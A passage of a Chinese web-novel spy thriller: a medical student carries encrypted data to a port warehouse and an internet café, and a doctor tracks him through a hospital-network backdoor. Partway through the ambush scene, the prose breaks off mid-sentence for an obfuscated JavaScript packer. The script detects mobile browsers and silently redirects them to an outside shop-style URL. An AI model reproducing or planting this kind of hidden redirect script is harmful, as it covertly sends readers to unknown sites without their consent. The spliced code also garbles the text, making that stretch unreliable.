地下室的门虚掩着,没有锁。徐燕风推门进去,一股福尔马林和霉味混合的气味扑面而来。灯光昏暗,只有几盏应急灯亮着,投下长长的影子。 他沿着走廊往里走,脚步声在空旷的空间里回响。两侧是废弃的实验室,门牌歪斜,玻璃破碎,里面堆着生锈的设备。 走到尽头,是一扇厚重的金属门——尸库的后门。门把手上挂着一个牌子:“闲人免进·内有尸体”。 徐燕风深吸一口气,推开门。 里面比他想象的亮。不是日光灯,而是几盏手提应急灯放在地上,照亮了中央一小片区域。周围是成排的不锈钢冰柜,有些开着,露出里面覆盖白布的尸体轮廓。 钟妍妍站在灯光的边缘,穿着一身黑色的运动服,头发扎成马尾,脸上没有化妆。她手里拿着一个黑色的金属盒,约莫烟盒大小。 “准时。”她说,声音在空旷的尸库里带着回音。 “这里是……” “最安全的地方。”钟妍妍走到一个冰柜旁拍了拍柜门,“没人会来,监控十年前就坏了而且——”她指了指气味,“这味道,连流浪狗都不愿意靠近。” 她把金属盒递给徐燕风:“任务很简单。把这个送到港口区‘老陈修船厂’的第三号仓库交给一个叫‘老吴’的人。他会给你一个同样的盒子带回来。全程预计两小时,低风险。” 徐燕风接过盒子,很轻,摇起来没有声音。他问:“里面是什么?” “你不该问。”钟妍妍说,“但既然你问了也可以告诉你——是加密的医疗数据,关于某种药物的临床试验结果。买方和卖方都不方便直接接触,所以需要中转。” “就让我干这个?” “因为你看起来最不像干这个的。”钟妍妍坦率地说,“一个学生骑摩托车去港口区,就算被拦下检查也有合理的解释——去找朋友,去打工,去玩。而且你是新人,没有案底,没有前科就算被抓,也查不到背后的网络。” 徐燕风握紧盒子,金属外壳冰凉:“如果被抓呢?” “盒子里有自毁装置,触发条件是暴力拆解或超过24小时未开启正确密码。里面的数据是多重加密的,就算被截获,解密也需要至少一周时间。而那时候,交易早就完成了。” 20. 徐燕风的抉择 她顿了顿,看着徐燕风:“但最重要的是你不会被抓。我教过你观察、警觉、应变。只要你不犯低级错误,这个任务的风险几乎为零。” 几乎为零。 徐燕风在心里重复这个词。几乎,意味着不是绝对。意味着还是有风险。 但他没有说出口。 “摩托车在实验楼后门。”钟妍妍递给他一把钥匙,“川崎Ninja 400,你的车。已经检查过,没有追踪器,油箱加满了。路线已经规划好——”她又递过来一张手绘地图,“走小路避开主要路口和摄像头。全程28公里,预计45分钟到达。到达后,确认对方身份暗号:‘老吴问,船修好了吗?’你回答:‘修好了但需要新零件。’对方会说:‘什么零件?’你回答:‘304不锈钢轴承。’暗号全对,才交货。” 徐燕风接过地图。画得很详细,连哪个路口有临时检查站都标出来了。 “拿到回盒后,立刻返回,不要停留,不要和任何人交谈。”钟妍妍继续说,“回到这里把盒子给我。任务完成。” 她看着徐燕风:“这是你的第一个实战任务。完成了,你就正式成为‘可用之人’。会有报酬——不多,但足够你付清下学期的学费。也会有更多任务,更复杂,报酬更高。当然,风险也更高。” “如果我不做呢?”徐燕风问。 “那就现在把盒子还给我,走出这扇门,我们不再见面。”钟妍妍说,“你会回到原来的生活,当你的医学生,毕业,成为医生。我会删掉所有关于你的记录,就当这一个月什么都没发生过。” 她顿了顿:“但你要知道,一旦你走出这扇门,就再也没有机会回来了。这个世界不会给你第二次选择的机会。” 徐燕风低头看着手里的盒子,又看看地图。福尔马林的气味刺鼻,周围的尸体在冰柜里沉默,应急灯的光把他的影子拉得很长,在墙上扭曲变形。 他想起这一个月学的一切:情绪控制、压力测试、反审讯、行为分析、观察追踪…… 那些技巧,如果不用,就只是知识。 但如果用,就会成为他的一部分。 像毒蛇的牙,一旦长出,就再也收不回去。 他想起关文晶的话:“她在培养你成为她的工具。” 想起钟妍妍的坦白:“在这个国度没有真正的‘干净’。” 想起自己当初为什么要接受训练——不只是因为想变强,更是因为厌倦了平庸,厌倦了被规则束缚,厌倦了做一个只能冲油漆报复的弱者。 他想成为能掌控自己命运的人。 哪怕,那条路是黑暗的。 “我做。”他说,声音在尸库里显得格外清晰。 钟妍妍点点头,没有表现出高兴或欣慰只是平静地说:“记住,安全第一。遇到任何意外,优先自保。盒子可以丢,数据可以毁,但人必须回来。” 她从口袋里掏出一个微型耳机,递给徐燕风:“戴上。我会通过这个和你保持联系,但除非紧急情况,我不会说话。耳机有定位,如果我这里显示你偏离路线或停留过久,我会提醒你。” 徐燕风戴上耳机,很轻,几乎感觉不到存在。 “还有这个。”钟妍妍又递给他一个小巧的黑色装置,像打火机,“紧急信号发射器。如果遇到无法脱身的危险,按下按钮,我会知道。但除非生死关头,不要用——用了就意味着任务失败,而且会暴露我。” 徐燕风把发射器塞进裤子口袋。 “最后,”钟妍妍看着他,“记住你学的一切。观察环境,预判风险,控制情绪,快速决策。你不是去送快递的,你是去执行任务。每一个细节都可能决定成败。” “明白。”徐燕风说。 钟妍妍退后一步让出通往门口的路:“去吧。八点整出发。” 徐燕风转身,走出尸库。金属门在身后关上隔绝了福尔马林的气味和那些沉默的尸体。 走廊里依然昏暗,应急灯投下惨白的光。他快步走向出口,脚步声在空旷中回响,像另一个人的心跳。 实验楼后门,他的川崎Ninja 400停在那里,黑色的车身在夜色中几乎隐形。他跨上车发动引擎,低沉的轰鸣声在寂静中显得格外突兀。 八点整。 他看了一眼手绘地图,第一条路线已经印在脑子里。然后他拧动油门,摩托车冲进夜色。 雨开始下了,细密的雨丝打在脸上,冰凉。 徐燕风拉上卫衣帽子,压低身体,加速驶出校园。后视镜里,实验楼B栋的轮廓越来越小,最后消失在雨幕中。 耳机里传来轻微的电流声,然后是一句几乎听不见的话: 【路线正确。保持速度。——V】 徐燕风没有回应,只是握紧车把。 雨越下越大,街道上的灯光在水洼里倒映成破碎的光斑。他按照地图的指示,拐进一条小巷,避开主干道。小巷很窄,两侧是低矮的民居,窗户透出昏黄的灯光,偶尔有电视的声音。 他骑得很快,但很稳。眼睛像雷达一样扫视前方:路口有没有车?阴影里有没有人?路灯下有没有异常? 钟妍妍教过的:观察不是只看前方,而是要看全景。用余光扫视两侧,用耳朵听引擎声以外的声音,用皮肤感受空气的流动和温度的变化。 经过一个十字路口时,他减速,看到右侧有一辆警车停在路边,警灯没亮,但引擎还开着。车里有两个人影,一个在抽烟,一个在看手机。 徐燕风没有停顿,也没有加速,保持匀速通过。经过警车时,他甚至朝车里看了一眼——不是挑衅,而是自然的观察。警察也看了他一眼,但很快就移开了视线。 一个骑摩托车的年轻人,在雨夜赶路,太常见了。 【警车,记录。——V】 耳机里传来声音。徐燕风用右手在左臂上轻轻敲击了两下——这是约定的确认信号。 继续前进。 港口区在城市的东南角,靠近码头。这里街道更窄,灯光更暗,空气中弥漫着鱼腥味和柴油味。老陈修船厂的招牌歪斜地挂在一个生锈的铁门上,招牌上的霓虹灯坏了一半,“修”字只剩下一半的光。 徐燕风在距离修船厂两百米的地方停下,把摩托车藏在一堆废弃的轮胎后面。然后他步行接近。 雨小了些,但风更大了,吹得铁门吱呀作响。他从侧面的围墙翻进去——钟妍妍在地图上标注了这里有个缺口。 修船厂里堆满了生锈的船体零件、废弃的发动机、成堆的渔网。第三号仓库在院子最深处,是一间铁皮棚屋,门缝里透出微弱的灯光。 徐燕风走到门口,深呼吸三次,让心跳平复下来。然后他敲门。 三下,停顿,两下。 门开了一条缝,一个满脸络腮胡的中年男人露出半张脸,眼睛在阴影里闪着警惕的光。 “老吴问,船修好了吗?”徐燕风说,声音平稳。 男人盯着他看了几秒,才开口,声音沙哑:“修好了,但需要新零件。” “什么零件?” “304不锈钢轴承。” 暗号全对。 男人把门完全打开:“进来。” 仓库里很杂乱,堆着各种机械零件,中央有一张破旧的木桌,桌上放着一台老式电脑,屏幕亮着。除了老吴,还有两个人——一个坐在电脑前,很年轻,戴着眼镜;另一个站在阴影里,看不清脸。 “东西呢?”老吴问。 徐燕风拿出金属盒,放在桌上。 老吴拿起盒子,检查了一下,然后递给戴眼镜的年轻人。年轻人连接电脑,开始操作。几分钟后,他点头:“数据完整,加密正确。” 老吴从桌下拿出另一个一模一样的金属盒,递给徐燕风:“这是回件。拿好,别丢了。” 徐燕风接过,放进口袋。 “你可以走了。”老吴说,“从后门出去别走原路。” 徐燕风点头,转身要走,忽然被叫住。 “等等。”是那个站在阴影里的人。他走出来,是个瘦高的男人,约莫四十岁,穿着皮夹克,脸上有一道疤,从左眼角划到嘴角。 他走到徐燕风面前。上下打量他:“生面孔。谁派你来的?” “这不关你的事。”徐燕风说,保持平静。 “不关我的事?”疤脸男人冷笑,“上次交易,东西被调包损失了五万美金。你说我该不该怀疑新人?” 徐燕风感觉到危险。他快速扫视环境:老吴站在桌子旁,手垂在身侧,但没有武器;戴眼镜的年轻人还在看电脑;疤脸男人离他最近,左手插在口袋里——那里鼓出一块,可能是刀或枪。 “我只是送东西的。”徐燕风说,“不负责验货。如果上次有问题,你应该找上线。” “上线?”疤脸男人逼近一步,“我怎么知道你不是卧底?警察?或者竞争对手派来的?” 气氛骤然紧张。 徐燕风的手慢慢移向口袋——不是放盒子的口袋,而是放紧急信号发射器的口袋。但他没有按下去,而是停在口袋里,握住那个小装置。 “老吴,”疤脸男人转头,“搜他身。” 老吴犹豫了一下,还是走过来。徐燕风后退一步:“不行。交货规矩,不搜身。” “规矩?”疤脸男人笑了,“在这里,我就是规矩。” 他伸手抓向徐燕风的衣领。 徐燕风没有躲,而是迎上去,同时右手从口袋里抽出——但不是发射器,而是那支圆珠笔。笔尖对准疤脸男人伸来的手,狠狠扎下去。 不是真扎,是虚晃。疤脸男人本能地缩手,徐燕风趁机侧身,一脚踢向他的膝盖侧面——不是全力,但足够让他失衡。 疤脸男人踉跄后退,撞在桌子上,电脑屏幕晃了晃。 “操!”他怒吼,从口袋里掏出一把折叠刀,弹出刀刃。但徐燕风已经退到门口,手放在门把上:“任务完成,我要走了。如果你们想闹大,尽管来。” 他看着疤脸男人,又看看老吴:“但提醒你们,我如果十分钟内不离开这里,或者发出紧急信号,上线就会知道交易出问题。到时候,损失的就不只是五万美金了。” 老吴的脸色变了:“疤子,放下刀!让他走!” 疤脸男人咬牙切齿,但最终收起了刀。 徐燕斯拉开门,退出去,然后快步走向围墙缺口。他没有跑,但脚步很快,耳朵竖起来听身后的动静——没有人追来。 翻出围 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“那你就会用发射器,我会在五分钟内赶到。”钟妍妍说,“但你没用,说明你判断自己能处理。这是对的。依赖后援,会养成习惯。真正的生存,靠的是自己。” 徐燕风点点头,没有说话。 他感觉身体里的肾上腺素在慢慢消退,取而代之的是一种奇怪的虚脱感,混合着兴奋和恐惧。刚才在修船厂,他真的以为自己可能会死——或者至少会受伤。 但他活下来了。 而且完成了任务。 “回去休息吧。”钟妍妍说,“明天照常读书,不要表现出任何异常。这只是一次普通的‘兼职送货’,记住这个设定。” 徐燕风转身离开。走到门口时,他回头问:“下次任务是什么时候?” 钟妍妍笑了——这次是真的笑,带着一丝欣慰。 “等通知。”她说,“但不会太久。你通过了第一关,现在,正式欢迎你加入游戏。” 徐燕风走出尸库,走进雨夜。 回宿舍的路上,雨停了,云层散开,露出几颗星星。 他摸了摸口袋里的五千瑆元,纸币的质感很真实。 也很虚幻。 一个月前,他还是个会因为被训斥就去泼油漆的医学生。 现在,他是个完成了第一次情报传递、面对持刀威胁没有退缩、口袋里装着“黑钱”的……什么? 他不知道。 但他知道,从今晚开始,他不再是旁观者。 他是玩家。 蛇窝游戏,正式开局。 而他,徐燕风,代号尚未确定,已经拿到了入场券。 他看着夜空,深深吸了一口气。 空气里有雨后泥土的味道,也有远方海洋的咸腥。 像这个城市。 表面清新。 内里咸腥。 而他,已经潜入了咸腥的那一面。 并且,不打算回头了。 凌晨一点二十三分,关文晶坐在儿科值班室的电脑前,屏幕上不是病历系统,而是一个自定义的数据监控界面。 这个界面是她自己编写的,接入了医院内部网络的底层数据流——不是通过正规权限而是通过一个三年前植入的后门程序。程序会抓取所有异常数据包:非标准协议的传输、加密流量、访问时间异常、源IP和目的IP不匹配的记录等等。 过去一周,这个程序抓到了三十七个异常事件。大多数是误报:实习生用U盘拷贝论文、药房系统夜间自动备份、行政部上传季度报表时使用了老旧加密协议…… 但今晚这个不一样。 【时间戳:周二20:15:37 源IP:医学院实验楼B栋·地下室尸库区域(该区域理论上无网络接入) 目的IP:港口区某动态IP(已标记:疑似地下交易节点) 协议:非标准加密协议(代号‘#-7’,军方二级通讯专用) 数据包大小:2.7MB 传输时长:18秒 备注:传输期间伴随GPS定位数据同步上传(设备ID:V-09)】 关文晶盯着这行记录,手指在桌面上轻轻敲击。 医学院实验楼B栋地下室尸库——那是早已废弃的区域,连电源都切断了,怎么可能有网络传输?除非有人带了移动热点或卫星通讯设备。 而传输协议“#-7”,她见过。三年前政保局调查一起泄密案时,联络人用的就是这个协议。当时那人说:“这个协议只有瑆洲军区能使用用,民用网络根本检测不到。” 但现在,它出现在了医院的监控里。 还有那个设备ID:V-09。V,尖吻蝮(Viper)的首字母。09,是序号? 关文晶调出过去一个月的所有异常记录,筛选出使用“#-7”协议的事件。一共三起: 第一次:四周前,周三下午,顶楼会议室区域。传输时长3分12秒,数据包大小15MB。对应时间——钟妍妍给徐燕风上第一堂课的时间。 21. 关文晶的追踪 第二次:两周前,周六凌晨,妇科住院区306病房附近。传输时长47秒,数据包大小0.8MB。对应时间——林小梅死亡当晚,钟妍妍在病房外“检查设备”。 第三次:就是今晚,医学院尸库。 三个地点,三个人物:钟妍妍、徐燕风、以及一个未知的“V-09”设备持有者。 关文晶向后靠在椅背上,闭上眼睛。脑子里开始构建时间线: 今晚八点到十点之间,徐燕风在哪里? 她调出院区的监控——徐燕风于19:40离开宿舍,刷卡记录显示他去了实验楼区域,但未记录返回时间。校区监控显示他于22:15进入,浑身湿透(监控画面)。 中间两个半小时,他在实验楼做什么? 关文晶在调出实验楼附近的公共监控,画面显示:20:03,一辆黑色摩托车从实验楼后巷驶出,骑手穿着深色连帽卫衣,看不清脸但车型是川崎Ninja 400——徐燕风的车。 摩托车驶向港口区方向。 21:47,同一辆车返回,从港口区方向。 时间吻合。 她继续追踪港口区的摄像头(这部分权限不够,但她有自己的渠道)。几分钟后,加密邮箱收到几段模糊的监控截图: 【21:15,老陈修船厂外围,一个深色身影翻墙进入。 21:28,同一身影从围墙缺口离开,快步走向一堆废弃轮胎,推出一辆摩托车。 备注:修船厂内部无监控,但根据线报,今晚该地点有“数据交易”,买方涉及一个叫“疤子”的本地混混,曾因持械伤人留有案底。】 关文晶把所有碎片拼在一起: 钟妍妍在尸库用军用加密协议传输数据。 徐燕风在同一时间骑摩托车前往港口区修船厂。 修船厂有地下数据交易。 结论很明显:钟妍妍派徐燕风去执行了一次情报传递任务。 而且,从传输协议和设备ID来看,这不是普通的“兼职送货”,而是有军区背景的、加密等级很高的行动。 关文晶感到一阵寒意。 她原本以为钟妍妍只是在训练徐燕风作为个人工具,用于复仇或私刑。但现在看来,事情比她想象的更复杂——钟妍妍背后可能不是个人恩怨,而是去某个军区有关。 而徐燕风,已经正式踏入了那个世界。 她想起那晚在儿科办公室,徐燕风眼神里的挣扎和犹豫。当时她以为他还有救,还能拉回来。 但现在…… 关文晶打开一个加密文档,开始记录: 【观察对象:徐燕风 时间:周二夜 事件:疑似首次参与加密情报传递任务 路径:医学院实验楼B栋→港口区老陈修船厂→返回 用时:约2.5小时 关联人物:钟妍妍(指挥),未知买家(港口区) 技术细节:使用军用加密协议“#-7”,设备ID V-09 风险评估:对象已从训练阶段进入实战阶段,忠诚度倾向可能已偏向钟妍妍方。但任务过程中未触发任何警报,未引起警方注意,显示其已具备基础操作能力。 建议:暂不干预,继续观察。重点记录其后续任务频率、类型、涉及人员。等待其可能出现的思想动摇或失误,届时可作为突破口。】 写完记录,她加密保存,上传到云端。 然后她调出徐燕风的档案——不是医院的学生档案,而是她自己建立的那份。里面记录了过去一个月他所有的异常行为:情绪变化、行踪轨迹、与钟妍妍的接触频率、甚至包括一些生理指标(通过医院体检数据推算)。 她翻到最后一页,那里有一个空白栏目:“招募可能性评估”。 之前她一直没填,因为觉得还早。 但现在,她拿起笔,犹豫了几秒,最终写下: 【当前状态:已被对方成功招募并完成首次任务。 潜在突破口:1..对“正义性”的潜在质疑(曾询问目标是否为罪犯);2.首次实战后的心理波动(需观察未来72小时行为)。 招募难度:高(已深度卷入),但非不可能。 建议策略:保持距离,避免直接对抗,在其可能产生动摇时提供“另一条路”的选择。】 放下笔,关文晶走到窗边。 窗外,医院笼罩在夜色中,只有零星几个窗户亮着灯——ICU、产房、急诊。像黑暗中眨眼的野兽。 她想起很多年前爷爷对她说过的话:“医生手里有两把刀:一把是手术刀,救人的;一把是看不见的刀,杀人的。你要记住,永远要知道自己手里拿的是哪一把。” 在圣保罗医院,每个医生手里都拿着两把刀。若是潜伏的蛇系特工,手里的刀更多…… 钟妍妍拿着看不见的其中一把,在阴影里切割。 徐燕风刚刚接过了其中一把。 而她,关文晶,也在选择——是继续拿着手术刀,只救眼前能救的人;还是也拿起另一把刀,去切割那些制造疾病和死亡的根源? 手机震动,是那个备用机。加密信息: 【关二小姐,您要的港口区监控分析已完成。确认骑手为徐燕风(车型、体态、出入时间吻合)。另,修船厂交易涉及一份加密医疗数据,内容未知,但买方‘疤子’与政府某官员有资金往来。建议:此事水深,谨慎涉入。——调查员C】 关文晶回复: 【继续追踪‘疤子’的资金流向。重点查与政府办公厅的关联。另,我需要钟妍妍过去六个月所有通讯记录的元数据(时间、地点、频率),不需要内容。——锯鳞蝰】 那边很快回复: 【元数据可以,但需要三天时间。另外提醒:如果钟妍妍真是军区联络节点的人,您这么做可能会被反追踪。】 【我知道风险。去做吧。】 关完机,关文晶坐回电脑前。 屏幕上的数据监控界面还在运行,新的异常事件不断弹出,但都不如刚才那条重要。 她盯着那条记录,看了很久。 然后她做了一个决定。 她不会现在就去揭穿或阻止徐燕风。 因为揭穿没用——他已经选择了那条路。阻止也可能适得其反——如果钟妍妍发现她在干预,可能会采取更激烈的手段。 她要做的,是观察,记录,等待。 等待徐燕风自己产生怀疑。 等待他问出那个问题:“我在做的事情,真的是对的吗?” 等待他需要另一条路的时候。 那时候,她会给他那条路。 不是以儿科医生的身份。 而是以“锯鳞蝰”的身份。 关文晶关掉监控界面,打开病历系统。屏幕上跳出一个患儿的血常规报告,白细胞计数偏高,需要调整抗生素。 她开始写医嘱,手指在键盘上快速敲击,眼神专注。 就像什么都没发生过。 就像她只是一个普通的儿科医生,值着普通的夜班,处理着普通的病例。 但只有她自己知道,从今晚开始,她多了一个任务:观察一条刚刚蜕皮的新蛇。 观察它如何游走。 观察它何时犹豫。 观察它……是否需要被引导向另一个方向。 窗外,天色开始泛白。 新的一天即将开始。 而在这场无声的战争里,又多了一个新的变量。 关文晶写完医嘱,站起身,走到病房开始晨间查房。 她的表情依然冷静专业,声音依然温和清晰。但心里,已经开始布局下一步棋。棋盘上,棋子已经各就各位。而游戏,才刚刚进入中盘。 —————————————————— 晚上七点五十分,徐燕风站在医院停车场自己的摩托车旁,手心微微出汗。不是紧张——或者说,不全是紧张。那种感觉更像是手术前的医生,肾上腺素适度升高,注意力高度集中,感官变得敏锐。 他今天穿着普通的牛仔裤和灰色夹克,背着一个双肩包,看起来就像要去图书馆赶作业的普通学生。但包里不是课本,而是一个用防静电袋包裹的加密U盘,以及一支改装过的圆珠笔——笔帽里有微型摄像头,笔身能发射低功率干扰信号,持续十五秒,足够打断大多数民用监控设备的录制。 耳机里传来钟妍妍的声音,经过变声处理,听起来像电子合成音: 【路线确认:从医院出发,经滨河路、旧城区、旧纺织厂到达目的地‘星光网吧’。全程9.3公里,预计耗时25分钟。避开三个交警执勤点和两个治安摄像头盲区。】 徐燕风在脑子里过了一遍地图。滨河路晚上车少,但路灯昏暗;旧城区小巷多,容易迷路,也容易藏人;旧纺织厂那段路完全没灯是全程最危险的段落。 【任务目标:将U盘交给网吧的23号座位者。对方特征:男性,25-30岁,戴黑色棒球帽,面前会放一罐红色可乐。暗号:‘老板,借个火?’对方答:‘我不抽烟。’你回:‘那借个充电宝?’对方递出U盘交换盒。全程不超过三十秒。】 “明白。”徐燕风低声说。 【记住,拿到交换盒后立刻离开,不要检查不要停留。如果二十三号座位没人或者可乐不是红色,立刻撤离,U盘启用自毁程序。】 徐燕风跨上摩托车,发动引擎。川崎Ninja 400低沉的轰鸣在停车场回荡,几个路过的学生回头看了一眼,又继续走路。 八点整,他驶出医院。 夜晚的城市刚进入喧嚣时段,主干道车流如织,霓虹灯闪烁。徐燕风按照规划路线拐进滨河路,这条路沿河而建,对岸是灯火辉煌的商业区,这边却安静得多只有零星几对散步的情侣。 他保持匀速,眼睛快速扫视:前方两百米有桥,桥下阴影深重;右侧人行道上有个人坐在长椅上,似乎在玩手机但手机屏幕没亮;左侧河面上有游船经过,船上的音乐声飘过来,带着欢快的节奏。 一切正常。 但徐燕风没有放松。钟妍妍教过:真正的危险往往藏在“正常”里。 经过桥下时,他下意识地减速。阴影里忽然站起一个人——不是冲他来的,只是个流浪汉,拎着麻袋翻垃圾桶。徐燕风松了口气,加速通过。 旧城区的小巷像迷宫,青石板路颠簸,摩托车灯照亮两侧斑驳的墙壁。这里住的大多是老人,晚上很少出门,巷子里安静得能听见自己的引擎声在回荡。 徐燕风在一个岔路口停下,确认方向。就在这时,他听见身后有脚步声——很轻,但节奏稳定,不是随意散步的那种。 他从后视镜里看,巷口有个人影,站在阴影里,没有继续跟进。 可能是路人,也可能不是。 徐燕风没有犹豫,拧动油门向前,但在下一个拐角突然右转,熄火,把车藏在一堆废弃的建材后面,自己则闪身躲进一扇破旧的门洞。 十秒钟后,脚步声接近。 一个人影出现在拐角,停下,左右张望。是个中等身材的男人,穿着深色夹克,手里拿着手机,屏幕亮着,像是在看地图。 但徐燕风注意到一个细节:那人的手机握得很紧,手指在屏幕上滑动时,腕部有细微的绷紧——不是在看地图,是在操作某个程序。 跟踪软件?还是实时通讯? 男人在原地站了半分钟,没找到目标,低声骂了一句什么,转身离开。 徐燕风等脚步声完全消失,又等了三十秒才重新推出摩托车。他没有立刻出发,而是绕到另一个方向,从另一条巷子穿出去——路线变了,但能绕回主路。 耳机里传来钟妍妍的声音: 【偏离路线。原因?】 “疑似尾巴,已甩掉。”徐燕风说,“改走南巷,绕行八百米汇入原路线。” 【同意。加快速度,你比预定时间晚了四分钟。】 徐燕风加速。纺织厂废墟出现在前方,那是一片占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937039|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地很大的废弃厂房,围墙倒塌,窗户破碎,黑暗中像一头巨兽的骨架。 这是最危险的一段。没有光,没有监控,没有人。如果在这里被伏击,叫天天不应。 他停在废墟入口,没有立刻进去,而是从包里拿出那支改装圆珠笔,按下笔夹上的隐蔽按钮。笔身微微发热,发出人耳听不到的高频信号——这是干扰器启动的标志,能暂时屏蔽周围五十米内的无线通讯和遥控信号。 然后他推着摩托车,步行进入废墟。 脚下是碎石和碎玻璃,每一步都发出轻微的声响。月光从破碎的屋顶漏下来,在地上投出诡异的斑块。远处传来野猫的叫声,凄厉刺耳。 徐燕风走得很慢,眼睛适应黑暗后,能看清大概轮廓。他选择沿着墙根走,利用阴影掩护,同时耳朵竖起来,听除了自己脚步声以外的动静。 走到一半时,他听见了。 不是猫叫,也不是风声。是金属摩擦的声音,很轻,像是有人在调整姿势时,身上的钥匙或工具碰到了什么。 在左侧,大约二十米外,一堆生锈的机器后面。 徐燕风停下,慢慢蹲下,把摩托车轻轻放倒——没有发出大响声。然后他从地上摸起一块碎砖,用力扔向相反的方向。 碎砖砸在铁皮上,发出“哐当”一声巨响。 几乎同时,机器后面的人影动了一下,探出头看向声音来源。 就这一瞬间,徐燕风看清了:一个人,穿着深色衣服,手里拿着一个长条状物体——可能是棍子,也可能是枪。 他屏住呼吸,等待。 那人观察了几秒,没发现什么,又缩回机器后面。 徐燕风没有动。钟妍妍教过:当你发现一个埋伏者,要假设还有第二个、第三个。他继续观察,眼睛像扫描仪一样扫过废墟的每个角落。 果然,在右侧的一辆废弃卡车后面,他看到了第二个人的轮廓——蹲着,也在朝碎砖落地的方向看。 两个人。一左一右,形成交叉火力。 这不是巧合,是伏击。 但目标是他吗?还是只是巧合,这里是某个非法交易的窝点? 徐燕风思考了两秒,决定测试。他轻轻咳嗽了一声——不大,但在寂静的废墟里足够清晰。 左右两个方向的人影同时动了一下,但没有立刻冲出来。他们在等。 徐燕风明白了:目标是他。而且这两人训练有素,不是街头混混。 他摸了摸包里的U盘。如果现在撤退,任务失败,但安全。如果继续前进,要穿过两人的夹击区,风险极大。 耳机里传来钟妍妍的声音,带着一丝电流干扰(因为他的干扰器还在工作): 【……燕风……听到吗……旧厂……信号……】 通讯断续。干扰器影响到了自己的耳机。 徐燕风关掉干扰器,钟妍妍的声音立刻清晰: 【燕风!旧厂里有异常热信号,至少两人。建议立刻撤离!】 “来不及了。”徐燕风低声说,“他们已经发现我了。我现在在中间,左右各一个。” 【位置?】 徐燕风快速描述。 钟妍妍沉默了两秒,然后说:“听我指挥。你现在正前方十米,是不是有一堆废轮胎?” 徐燕风眯眼看去:“是。” “轮胎后面是半堵墙,墙后面是厂房的后门。门应该锁着,但锁是老式的,可以用暴力撞开。计划:我数到三,你往轮胎方向冲,我会制造distractions。” “什么distractions?” “别问。准备好,一、二——” “三!” 话音刚落,旧厂外突然传来刺耳的汽车警报声,不止一辆,是好幾辆,此起彼伏,在寂静的夜晚里像警报大合唱。 左右两个伏击者明显被惊动,下意识地转头看向声音来源。 就是现在! 徐燕风像猎豹一样窜出去,不是跑直线而是之字形前进,同时从包里掏出那支圆珠笔对着左侧的方向按下干扰按钮——这次不是持续干扰,而是脉冲式,专门针对电子设备。 左侧那人手里的长条物体忽然闪烁了一下——果然是电子设备,可能是电击棍或信号探测器。 就这一瞬间的迟滞,徐燕风已经冲到轮胎堆后,翻身滚过去,落地时手在地上一撑,继续冲向那半堵墙。 右侧的人反应过来,追上来,但被轮胎堆绊了一下。 徐燕风冲到墙后,果然有一扇铁门,锈迹斑斑,挂着一把老式挂锁。他没有浪费时间开锁,而是后退两步,一个助跑,用肩膀狠狠撞在门上。 “砰!”门轴发出刺耳的呻吟,但没开。 “砰!”第二下,锁扣变形。 “砰!”第三下,门猛地向内弹开。 徐燕风冲进去,里面是空荡荡的厂房,月光从破屋顶照进来能看清大概。他没有停留直接冲向厂房另一端的出口。 身后传来追赶的脚步声,但被甩开了一段距离。 冲出厂房,外面是一条小巷,连通着旧城区的主街。徐燕风跳上早就准备好的摩托车(他刚才推进来的),发动,冲进小巷。 后视镜里,两个追兵冲出厂房,但已经追不上了。 【甩掉了。】徐燕风说,呼吸有些急促。 【继续任务。你还有十二分钟。】钟妍妍的声音冷静如常。 徐燕风驶出小巷汇入主街车流。纺织厂废墟的惊险像一场梦,但后背的冷汗提醒他,那是真的。 八点三十一分,他到达“星光网吧”。 这是一家老式网吧,招牌的霓虹灯坏了一半,“网吧”两个字只剩“网”还亮着。里面烟雾缭绕,几十台电脑前坐着各色人等,大多是年轻人,打游戏的、看视频的、聊天的。 徐燕风走进去,扫了一眼。23号机位在角落,一个男人坐在那里,戴着黑色棒球帽,面前确实放着一罐红色可乐。 他走过去,站在旁边:“老板,借个火?” 22. 钟妍妍的赞赏与警告 男人抬起头……约莫二十七八岁,脸色有些苍白,眼睛很亮。他看了徐燕风一眼,摇头:“我不抽烟。” “那借个充电宝?” 男人从口袋里掏出一个黑色的塑料盒,大小和U盘相仿,放在桌上。同时,徐燕风从包里拿出防静电袋,放在盒子旁边。 两人同时伸手,交换。整个过程不到五秒,没有任何多余的动作。 徐燕风把交换盒塞进口袋,转身离开。 从进网吧到出来,总共不到一分钟。 任务完成。 他走到摩托车旁,正要发动,忽然感觉有人在看他。 不是网吧里的人,是对面街角。一个穿着风衣的女人,站在阴影里,看不清楚,但身形有点熟悉。 关文晶? 徐燕风眯起眼,想看清楚,但那女人转身走了,消失在巷子里。 可能是错觉。也可能是真的。 他摇摇头,发动摩托车,返回医学院。 --- 同一时间,旧纺织厂外的一辆黑色轿车里。 关文晶坐在驾驶座上,看着平板电脑上的监控画面——这是她通过关系调取的附近街道的民用摄像头,画面模糊,但能看到徐燕风冲出废墟、骑摩托车离开的过程。 她刚才确实在网吧对面。不是巧合,是她一路跟过来的——从医院开始。 但她没有靠近,只是观察。 看到徐燕风进入厂房时,她预感到危险于是用便携式信号干扰器远程触发了停在废墟外的几辆旧车的警报系统——那是她提前准备的,为了以防万一。 警报声引开了伏击者的注意力,给徐燕风创造了机会。 然后她赶到网吧对面,确认他安全完成任务。 关文晶不知道自己为什么要这么做。徐燕风是钟妍妍的人,在执行某种未知的任务。她居然选择了暗中协助。 可能是因为那晚在儿科办公室,徐燕风眼神里的犹豫还没完全消失。可能是因为她想知道钟妍妍到底在让这小子做什么。也可能是因为……她自己也不完全清楚哪一边才是对的。 关文晶关掉平板,发动汽车,驶离废墟。 手机震动,调查员C的信息: 【厂里的两个人身份确认:黑市‘信息贩子’雇的打手,任务是拦截今晚经过废墟的‘某个快递员’。雇主未知但资金来自海外账户。暂不确定是否与爪哇有关。提醒:徐燕风已经被盯上了。】 关文晶回复: 【继续查雇主。另外,我需要知道‘星光网吧’23号机位那个男人的身份。——锯鳞蝰】 